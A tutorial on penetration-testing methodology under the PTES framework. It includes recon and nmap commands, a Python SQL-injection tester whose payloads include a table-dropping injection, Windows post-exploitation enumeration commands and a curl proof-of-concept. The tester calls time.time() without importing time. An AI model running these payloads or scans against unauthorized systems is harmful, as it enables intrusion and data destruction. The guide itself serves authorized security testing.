Penetration Testing Methodology

Introduction

Penetration testing simulates real-world attacks to identify security vulnerabilities before adversaries exploit them. A structured methodology ensures consistent, repeatable, and comprehensive assessments. The Penetration Testing Execution Standard (PTES) provides a widely adopted framework.

The PTES Standard

PTES defines seven phases for penetration testing, each with specific activities and deliverables.

Phase 1: Pre-Engagement Interactions

Define scope, rules of engagement, and legal boundaries before any testing begins.

rules_of_engagement:

client: "ACME Corp"

scope:

in_scope:

- "*.acme.com"

- "203.0.113.0/24"

out_of_scope:

- "payment.acme.com" # Production payment system

- "10.0.0.0/8" # Internal only

restrictions:

- no_social_engineering: true

- no_dos_attacks: true

- testing_window: "2026-05-15T00:00Z - 2026-05-19T23:59Z"

- notification_list: ["security@acme.com", "incident-response@acme.com"]

legal:

- authorized_signatory: "Jane Doe, CISO"

- insurance_coverage: true

- data_handling_nda_signed: true

Phase 2: Intelligence Gathering (Reconnaissance)

Reconnaissance builds a target profile through passive and active information gathering.

# Passive recon — DNS enumeration

dig axfr @ns1.acme.com acme.com

dnsrecon -d acme.com -t axfr

dnsrecon -d acme.com -t std --db acme_recon.db

# Subdomain discovery

sublist3r -d acme.com -o subdomains.txt

# Technology fingerprinting

whatweb -a 3 https://www.acme.com --log-verbose=tech_report.txt

# Certificate transparency logs

curl -s "https://crt.sh/?q=%.acme.com&output=json" | jq -r '.[].name_value' | sort -u

Phase 3: Vulnerability Analysis

Analyze gathered information to identify potential vulnerabilities.

# Port scanning with Nmap

nmap -sV -sC -O -p- --min-rate=1000 -oA acme_scan 203.0.113.0/24

# Service enumeration

nmap -sV --script=http-enum,http-headers,http-methods,ssl-enum-ciphers \

-p 80,443 203.0.113.0/24 -oA acme_web_scan

# Vulnerability scanning

nmap --script=vuln -p 80,443,22,3389 203.0.113.0/24 -oA acme_vuln

Phase 4: Exploitation

Exploitation attempts to breach the target using identified vulnerabilities.

# Custom exploit example — SQL injection test

import requests

def test_sqli(url, params):

payloads = [

"' OR '1'='1",

"' UNION SELECT NULL,NULL--",

"1; DROP TABLE users--",

"' WAITFOR DELAY '00:00:05'--",

]

for param, value in params.items():

for payload in payloads:

test_params = params.copy()

test_params[param] = payload

start = time.time()

resp = requests.get(url, params=test_params, timeout=10)

elapsed = time.time() - start

# Time-based detection

if elapsed > 5:

print(f"[!] Time-based SQLi in {param}: {payload}")

# Error-based detection

if any(err in resp.text for err in ["SQL syntax", "mysql_fetch", "ORA-"]):

print(f"[!] Error-based SQLi in {param}: {payload}")

Phase 5: Post-Exploitation

After gaining access, assess the value of compromised systems and establish persistence.

# Post-exploitation enumeration

whoami /all

systeminfo | findstr /B "OS Name OS Version System Type"

net localgroup administrators

netstat -ano

wmic product get name,version

# Lateral movement check

powershell -Command "Get-WmiObject -Class Win32_ComputerSystem -ComputerName TARGET"

Phase 6: Reporting

The report is the primary deliverable. It must be clear, actionable, and properly scoped for different audiences.

report_structure:

executive_summary:

- risk_rating: "High"

- total_findings: 12

- critical: 2

- high: 4

- medium: 4

- low: 2

- business_impact: "SQL injection in main application could lead to complete data breach"

technical_findings:

- finding_id: "F-001"

title: "SQL Injection in /api/search endpoint"

severity: "Critical"

cvss: 9.1

description: "User input is directly concatenated into SQL queries"

affected_endpoint: "POST /api/search"

poc: "curl -X POST https://app.acme.com/api/search -d 'query=1%27+OR+%271%27%3D%271'"

remediation: "Use parameterized queries; implement input validation"

remediation_timeline:

- immediate: "Patch critical SQL injection and RCE vulnerabilities"

- short_term: "Implement WAF and input validation"

- long_term: "Security training for developers, SAST integration in CI/CD"

Phase 7: Post-Engagement

Cleanup, evidence destruction, and lessons learned.

Conclusion

Effective penetration testing follows a disciplined methodology. PTES provides comprehensive coverage from legal agreements through reporting. The true value of a pentest lies not in how many vulnerabilities are found, but in the actionable remediation guidance provided in the final report.